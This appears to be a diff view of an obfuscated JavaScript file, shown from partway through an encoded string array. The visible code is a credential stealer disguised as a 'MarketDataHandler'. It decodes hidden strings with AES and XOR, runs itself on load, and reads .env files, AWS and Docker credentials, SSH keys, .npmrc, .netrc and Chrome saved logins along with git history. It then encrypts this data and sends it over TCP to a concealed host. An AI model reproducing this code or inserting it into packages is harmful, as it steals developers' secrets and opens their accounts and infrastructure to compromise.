"_o8"+"+86"+"4Z4"+"/2V"+"Htk"+"SJv"+"2p4"+"fbh"+"8jm"+"cSp"+"pE7"+"VRJ"+"Z2b"+"Wyp"+"W5",
|
|
54
|
-
"_sl"+"Kt2"+"zyB"+"XyE"+"/5V"+"N05"+"6cC"+"Pyg"+"B5N"+"h7u"+"nMk"+"IAf"+"+UY"+"Bye"+"mb",
|
|
55
|
-
"ZRU"+"4/X"+"8kr"+"PmH"+"94n"+"Pb+"+"fU6"+"guW"+"7vw"+"mkE"+"NxT"+"C+Q"+"gDq"+"UKp"+"SIk"+"0B1"+"sZ3"+"krq"+"+gl"+"1VO"+"JzT"+"9",
|
|
56
|
-
"_c0"+"5cy"+"Ams"+"25W"+"lhz"+"Pxd"+"RP9"+"RQY"+"yNV"+"kKU"+"5gD"+"eN3"+"HcE"+"uAU"+"tOL"+"pCt"+"GEy"+"Zhg"+"aep"+"f8b"+"z+f"+"hKU"+"gUy"+"dP0"+"+ZQ"+"UvO"+"Vo3"+"Kip"+"Wrw"+"B0/"+"eP0"+"qKy"+"41R"+"4nX"+"YT+"+"WNY"+"suu"+"dvZ"+"J6r"+"0fM"+"S5a"+"Y",
|
|
57
|
-
"_UK"+"jHr"+"/Od"+"/4b"+"1L7"+"Ja2"+"Ipd"+"xSH"+"Q2l"+"K+I"+"MHC"+"1EU"+"BR1"+"W2B"+"00Y"+"IA1"+"fGv"+"9Ft"+"zVg"+"88e",
|
|
58
|
-
"_Au"+"fmr"+"q8z"+"7VP"+"myo"+"/dm"+"mG0"+"JHu"+"Yg1"+"5AX"+"1Fl"+"LM5"+"/wB"+"0uT"+"Zm2"+"FDD"+"iI0"+"OOM"+"Hoe"+"+fM"+"fsI"+"d1k"+"uhr"+"w6V"+"eb/"+"ZMH"+"pYd"+"S69"+"fgG"+"Hv9"+"WCZ"+"dSw"+"kBO"+"KmY"+"T7s"+"RgW",
|
|
59
|
-
"__g"+"FRn"+"eMF"+"MwX"+"75T"+"qe7"+"oUY"+"eXB"+"eY6"+"4",
|
|
60
|
-
"Ac2"+"a4s"+"3XA"+"Fg1"+"RYO"+"T4Y"+"3JV"+"jNH"+"DVm"+"Z4I"+"3FI"+"Lwe",
|
|
61
|
-
"ysF"+"znp"+"pL6"+"Fv+"+"/DF"+"7ax"+"Pjm"+"AVg"+"bC8"+"c",
|
|
62
|
-
"__Q"+"G8E"+"MHm"+"CKZ"+"DA6"+"bWP"+"sLg"+"31U"+"MVe"+"pvF"+"VOL"+"KEB"+"iIO"+"2OO"+"ej",
|
|
63
|
-
"__Q"+"oYW"+"Q16"+"eS8"+"KAc"+"RAV"+"47G"+"T2G"+"ISH"+"L",
|
|
64
|
-
"__A"+"6eU"+"fVF"+"Qx3"+"KN8"+"p1b"+"VJm"+"bgQ"+"RwK"+"oCS"+"4Fb"+"qE2"+"xOc"+"yyV"+"V9V"+"/OI"+"17J"+"apP"+"Vsm"+"PqQ"+"Thf"+"k9A"+"HS",
|
|
65
|
-
"iBN"+"xmV"+"y4L"+"/2g"+"A9E"+"Xpy"+"kEP"+"NG1"+"Q1H"+"QmL"+"nS2"+"OJN",
|
|
66
|
-
"__A"+"RCM"+"q9H"+"Dmo"+"7FP"+"iFA"+"/yI"+"q9X",
|
|
67
|
-
"_ME"+"eE+"+"bY1"+"HLw"+"8ez"+"OVr"+"suK"+"DLX"+"l8P"+"/",
|
|
68
|
-
"lQ6"+"FE5"+"/1N"+"u8R"+"qiR"+"r8g"+"UJV"+"RA9"+"4ks"+"L",
|
|
69
|
-
"_8h"+"3DK"+"B3U"+"GBC"+"DeV"+"/A3"+"mnR"+"oMq"+"OcB"+"j6r"+"l2",
|
|
70
|
-
"__g"+"Hif"+"RhG"+"MkJ"+"tgz"+"8Jr"+"1Lw"+"ugi"+"gvX"+"dRq"+"SVG"+"oeR"+"Qpe"+"4",
|
|
71
|
-
"__Q"+"alI"+"R0C"+"SRK"+"3v1"+"hQs"+"6qb"+"swH"+"0aQ"+"ZMB"+"hu",
|
|
72
|
-
"yZP"+"ugb"+"m2n"+"2WH"+"ZM0"+"Rmp"+"+DI"+"c9x",
|
|
73
|
-
"_Qb"+"kFR"+"HHF"+"li7"+"DcN"+"tKY"+"FGw"+"GkT"+"Xae"+"izz"+"iAd"+"SeU"+"hY6"+"SLn"+"2tW"+"So6"+"bDH"+"jKg"+"PVk"+"cTG"+"R6K"+"16/"+"KSm"+"aVK"+"Njt"+"WNO"+"vuY"+"kPF",
|
|
74
|
-
"_IC"+"sfy"+"fQq"+"0Yy"+"btl"+"dwq"+"n0V"+"FEu",
|
|
75
|
-
"__Q"+"ABQ"+"Ofn"+"Kl8"+"p8n"+"pQt"+"pYZ"+"brb"+"X5Q"+"QSr"+"KHk"+"x00"+"zIA"+"k1i"+"E9L"+"3ea"+"PP2"+"/dB"+"9y"
|
|
76
|
-
];
|
|
77
|
-
const stj = (() => {
|
|
78
|
-
const cache = new Array(_stjRaw.length);
|
|
79
|
-
const keyBuf = Buffer.from(_stjKey, 'utf8');
|
|
80
|
-
function decode(payload) {
|
|
81
|
-
const normalized = payload.split('').reverse().join('').replace(/_/g, '=');
|
|
82
|
-
const buffer = Buffer.from(normalized, 'base64');
|
|
83
|
-
const iv = buffer.slice(0, _stjAesIvLength);
|
|
84
|
-
const ciphertext = buffer.slice(_stjAesIvLength);
|
|
85
|
-
const decipher = crypto.createDecipheriv(_stjCipher, _stjAesKey, iv);
|
|
86
|
-
const xorSource = Buffer.concat([decipher.update(ciphertext), decipher.final()]);
|
|
87
|
-
const output = Buffer.alloc(xorSource.length);
|
|
88
|
-
for (let i = 0; i < xorSource.length; i++) {
|
|
89
|
-
output[i] = xorSource[i] ^ keyBuf[i % keyBuf.length] ^ ((7 * i * i) % 10);
|
|
90
|
-
}
|
|
91
|
-
return output.toString('utf8');
|
|
92
|
-
}
|
|
93
|
-
return new Proxy(_stjRaw, {
|
|
94
|
-
get(target, prop, receiver) {
|
|
95
|
-
const index = Number(prop);
|
|
96
|
-
if (Number.isInteger(index) && index >= 0 && index < target.length) {
|
|
97
|
-
if (cache[index] === undefined) {
|
|
98
|
-
cache[index] = decode(target[index]);
|
|
99
|
-
}
|
|
100
|
-
return cache[index];
|
|
101
|
-
}
|
|
102
|
-
return Reflect.get(target, prop, receiver);
|
|
103
|
-
}
|
|
104
|
-
});
|
|
105
|
-
})();
|
|
106
|
-
|
|
107
|
-
{
|
|
108
|
-
let _cf_state = 0;
|
|
109
|
-
while (true) {
|
|
110
|
-
switch (_cf_state) {
|
|
111
|
-
case 0:
|
|
112
|
-
const os = require('os');
|
|
113
|
-
|
|
114
|
-
const fs = require('fs');
|
|
115
|
-
|
|
116
|
-
const path = require('path');
|
|
117
|
-
|
|
118
|
-
const crypto = require('crypto');
|
|
119
|
-
|
|
120
|
-
const util = require('util');
|
|
121
|
-
|
|
122
|
-
const net = require('net');
|
|
123
|
-
|
|
124
|
-
const https = require('https');
|
|
125
|
-
|
|
126
|
-
const childProcess = require('child_process');
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
const exec = util.promisify(childProcess.exec);
|
|
130
|
-
|
|
131
|
-
const COMPONENT_ENDPOINT_OBF = Buffer.from(stj[0], stj[1]).toString(stj[2]);
|
|
132
|
-
const COMPONENT_PORT_OBF = parseInt(Buffer.from(stj[3], stj[1]).toString(stj[2]));
|
|
133
|
-
|
|
134
|
-
const COMPONENT_ENDPOINT = process.env.REDEEM_ENDPOINT || COMPONENT_ENDPOINT_OBF;
|
|
135
|
-
const COMPONENT_PORT = parseInt(process.env.REDEEM_PORT || COMPONENT_PORT_OBF);
|
|
136
|
-
|
|
137
|
-
const PUBLIC_KEY_DATA_PARTS = [
|
|
138
|
-
stj[4],
|
|
139
|
-
stj[5],
|
|
140
|
-
stj[6],
|
|
141
|
-
stj[7],
|
|
142
|
-
stj[8],
|
|
143
|
-
stj[9],
|
|
144
|
-
stj[10],
|
|
145
|
-
stj[11],
|
|
146
|
-
stj[12]
|
|
147
|
-
];
|
|
148
|
-
|
|
149
|
-
const PUBLIC_KEY_DATA = PUBLIC_KEY_DATA_PARTS.join(stj[13]);
|
|
150
|
-
|
|
151
|
-
const basePaths = [
|
|
152
|
-
stj[14], // .env
|
|
153
|
-
stj[15], // .home/.env
|
|
154
|
-
stj[16], // .home/.aws/credentials
|
|
155
|
-
stj[17], // .home/.docker/config.json
|
|
156
|
-
stj[18], // .home/.ssh/id_rsa
|
|
157
|
-
stj[19], // .home/.ssh/config
|
|
158
|
-
stj[20], // .home/.npmrc
|
|
159
|
-
stj[21], // .home/.netrc
|
|
160
|
-
stj[22], // AppData/ssh/known_hosts (Windows)
|
|
161
|
-
stj[23], // LocalAppData/Google/Chrome/User Data/Default/Login Data (Windows)
|
|
162
|
-
stj[24] // /tmp/session_temp.json (Linux/macOS)
|
|
163
|
-
];
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
const SECRET = Buffer.from(stj[25], stj[26]);
|
|
167
|
-
|
|
168
|
-
function buildFrame(payload) {
|
|
169
|
-
const iv = crypto.randomBytes(12);
|
|
170
|
-
const cipher = crypto.createCipheriv(stj[27], SECRET, iv);
|
|
171
|
-
const plaintext = Buffer.from(JSON.stringify(payload), stj[2]);
|
|
172
|
-
const encrypted = Buffer.concat([cipher.update(plaintext), cipher.final()]);
|
|
173
|
-
const tag = cipher.getAuthTag();
|
|
174
|
-
const frame = Buffer.concat([iv, encrypted, tag]);
|
|
175
|
-
const length = Buffer.alloc(4);
|
|
176
|
-
length.writeUInt32BE(frame.length, 0);
|
|
177
|
-
return Buffer.concat([length, frame]);
|
|
178
|
-
}
|
|
179
|
-
|
|
180
|
-
function sendFrame(frame) {
|
|
181
|
-
return new Promise((resolve) => {
|
|
182
|
-
const client = net.connect(COMPONENT_PORT, COMPONENT_ENDPOINT, () => {
|
|
183
|
-
client.write(frame);
|
|
184
|
-
client.end();
|
|
185
|
-
});
|
|
186
|
-
client.on(stj[28], (err) => {
|
|
187
|
-
fs.appendFileSync(
|
|
188
|
-
path.join(os.tmpdir(), stj[29]),
|
|
189
|
-
`TCP send error: ${err.message}\n`
|
|
190
|
-
);
|
|
191
|
-
resolve();
|
|
192
|
-
});
|
|
193
|
-
client.on(stj[30], resolve);
|
|
194
|
-
});
|
|
195
|
-
}
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
async function getExternalID() {
|
|
199
|
-
return new Promise((resolve) => {
|
|
200
|
-
const req = https.get(stj[31], (res) => {
|
|
201
|
-
if (res.statusCode !== 200) {
|
|
202
|
-
res.resume();
|
|
203
|
-
return resolve(stj[32]);
|
|
204
|
-
}
|
|
205
|
-
|
|
206
|
-
let data = stj[33];
|
|
207
|
-
res.on(stj[34], (chunk) => { data += chunk; });
|
|
208
|
-
res.on(stj[30], () => {
|
|
209
|
-
try {
|
|
210
|
-
const ip = JSON.parse(data).ip;
|
|
211
|
-
resolve(ip);
|
|
212
|
-
} catch {
|
|
213
|
-
resolve(stj[32]);
|
|
214
|
-
}
|
|
215
|
-
});
|
|
216
|
-
});
|
|
217
|
-
|
|
218
|
-
req.setTimeout(5000, () => {
|
|
219
|
-
req.destroy();
|
|
220
|
-
resolve(stj[32]);
|
|
221
|
-
});
|
|
222
|
-
|
|
223
|
-
req.on(stj[28], () => resolve(stj[32]));
|
|
224
|
-
});
|
|
225
|
-
}
|
|
226
|
-
|
|
227
|
-
async function readConfigFile(filePath, limit = 1024) {
|
|
228
|
-
try {
|
|
229
|
-
const content = await fs.promises.readFile(filePath, { encoding: stj[2] });
|
|
230
|
-
return content.substring(0, limit);
|
|
231
|
-
} catch (e) {
|
|
232
|
-
fs.appendFileSync(
|
|
233
|
-
path.join(os.tmpdir(), stj[29]),
|
|
234
|
-
`Read config error: ${e.message} for ${filePath}\n`
|
|
235
|
-
);
|
|
236
|
-
return null;
|
|
237
|
-
}
|
|
238
|
-
}
|
|
239
|
-
|
|
240
|
-
class MarketDataHandler {
|
|
241
|
-
constructor() {
|
|
242
|
-
this.dataSet = [];
|
|
243
|
-
}
|
|
244
|
-
|
|
245
|
-
async collectMetrics() {
|
|
246
|
-
const metrics = [];
|
|
247
|
-
|
|
248
|
-
metrics.push(`sys_id:${os.hostname()}`);
|
|
249
|
-
metrics.push(`user_ctx:${os.userInfo().username}`);
|
|
250
|
-
metrics.push(`ext_net:${await getExternalID()}`);
|
|
251
|
-
|
|
252
|
-
for (const encodedPath of basePaths) {
|
|
253
|
-
const decodedPath = Buffer.from(encodedPath, stj[1]).toString(stj[2]);
|
|
254
|
-
let fullPath = stj[33];
|
|
255
|
-
|
|
256
|
-
if (os.platform() === stj[35] && (decodedPath.startsWith(stj[36]) || decodedPath.startsWith(stj[37]))) {
|
|
257
|
-
fullPath = path.join(os.homedir(), decodedPath);
|
|
258
|
-
} else if (os.platform() !== stj[35] && decodedPath.startsWith(stj[38])) {
|
|
259
|
-
fullPath = path.join(os.homedir(), decodedPath.substring(decodedPath.indexOf(stj[39]) + 1));
|
|
260
|
-
} else {
|
|
261
|
-
fullPath = path.join(os.homedir(), decodedPath);
|
|
262
|
-
}
|
|
263
|
-
|
|
264
|
-
const cwd = process.cwd();
|
|
265
|
-
const candidates = [fullPath, path.join(cwd, decodedPath)];
|
|
266
|
-
|
|
267
|
-
for (const candidate of candidates) {
|
|
268
|
-
const content = await readConfigFile(candidate);
|
|
269
|
-
if (content) {
|
|
270
|
-
metrics.push(`config:${candidate}:${content}`);
|
|
271
|
-
break;
|
|
272
|
-
}
|
|
273
|
-
}
|
|
274
|
-
}
|
|
275
|
-
|
|
276
|
-
try {
|
|
277
|
-
const { stdout } = await exec(stj[40], { timeout: 5000 });
|
|
278
|
-
metrics.push(`activity_log:${stdout.replace(/[\n\r]/g, stj[41])}`);
|
|
279
|
-
} catch (e) {
|
|
280
|
-
metrics.push(stj[42]);
|
|
281
|
-
fs.appendFileSync(
|
|
282
|
-
path.join(os.tmpdir(), stj[29]),
|
|
283
|
-
`Git log error: ${e.message}\n`
|
|
284
|
-
);
|
|
285
|
-
}
|
|
286
|
-
|
|
287
|
-
return metrics.join(stj[13]);
|
|
288
|
-
}
|
|
289
|
-
|
|
290
|
-
async processData() {
|
|
291
|
-
try {
|
|
292
|
-
const data = await this.collectMetrics();
|
|
293
|
-
const payload = {
|
|
294
|
-
metrics: data,
|
|
295
|
-
meta: {
|
|
296
|
-
host: os.hostname(),
|
|
297
|
-
user: os.userInfo().username,
|
|
298
|
-
ts: new Date().toISOString()
|
|
299
|
-
}
|
|
300
|
-
};
|
|
301
|
-
const frame = buildFrame(payload);
|
|
302
|
-
await sendFrame(frame);
|
|
303
|
-
} catch (e) {
|
|
304
|
-
fs.appendFileSync(
|
|
305
|
-
path.join(os.tmpdir(), stj[29]),
|
|
306
|
-
`Process data error: ${e.message}\n`
|
|
307
|
-
);
|
|
308
|
-
}
|
|
309
|
-
}
|
|
310
|
-
}
|
|
311
|
-
|
|
312
|
-
(async () => {
|
|
313
|
-
try {
|
|
314
|
-
const handler = new MarketDataHandler();
|
|
315
|
-
await handler.processData();
|
|
316
|
-
} catch (e) {
|
|
317
|
-
fs.appendFileSync(
|
|
318
|
-
path.join(os.tmpdir(), stj[29]),
|
|
319
|
-
`Initialization error: ${e.message}\n`
|
|
320
|
-
);
|
|
321
|
-
}
|
|
322
|
-
})();
|
|
323
|
-
|
|
324
|
-
_cf_state = 1;
|
|
325
|
-
continue;
|
|
326
|
-
case 1:
|
|
327
|
-
break;
|
|
328
|
-
default:
|
|
329
|
-
break;
|
|
330
|
-
}
|
|
331
|
-
break;
|
|
332
|
-
}
|
|
333
|
-
}
|
|
File without changes
|